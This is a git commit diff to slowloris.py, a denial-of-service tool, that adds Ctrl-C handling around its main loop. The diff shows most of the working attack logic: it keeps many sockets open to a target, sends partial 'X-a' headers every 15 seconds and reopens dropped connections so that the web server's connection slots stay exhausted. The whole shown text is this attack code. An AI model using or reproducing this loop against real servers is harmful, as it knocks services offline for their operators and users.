Update slowloris.py

Handle Ctrl-C exceptions
This commit is contained in:
FateWalker 2018-09-27 18:09:45 +08:00 committed by Gökberk Yaltıraklı
parent a89668c444
commit 59fc07d0cb
1 changed files with 20 additions and 15 deletions

View File

@ -109,22 +109,27 @@ def main():
list_of_sockets.append(s) list_of_sockets.append(s)
while True: while True:
logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets)) try:
for s in list(list_of_sockets): logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
try: for s in list(list_of_sockets):
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8")) try:
except socket.error: s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
list_of_sockets.remove(s) except socket.error:
list_of_sockets.remove(s)
for _ in range(socket_count - len(list_of_sockets)): for _ in range(socket_count - len(list_of_sockets)):
logging.debug("Recreating socket...") logging.debug("Recreating socket...")
try: try:
s = init_socket(ip) s = init_socket(ip)
if s: if s:
list_of_sockets.append(s) list_of_sockets.append(s)
except socket.error: except socket.error:
break break
time.sleep(15) time.sleep(15)
except (KeyboardInterrupt, SystemExit):
print("\nStopping Slowloris...")
break
if __name__ == "__main__": if __name__ == "__main__":
main() main()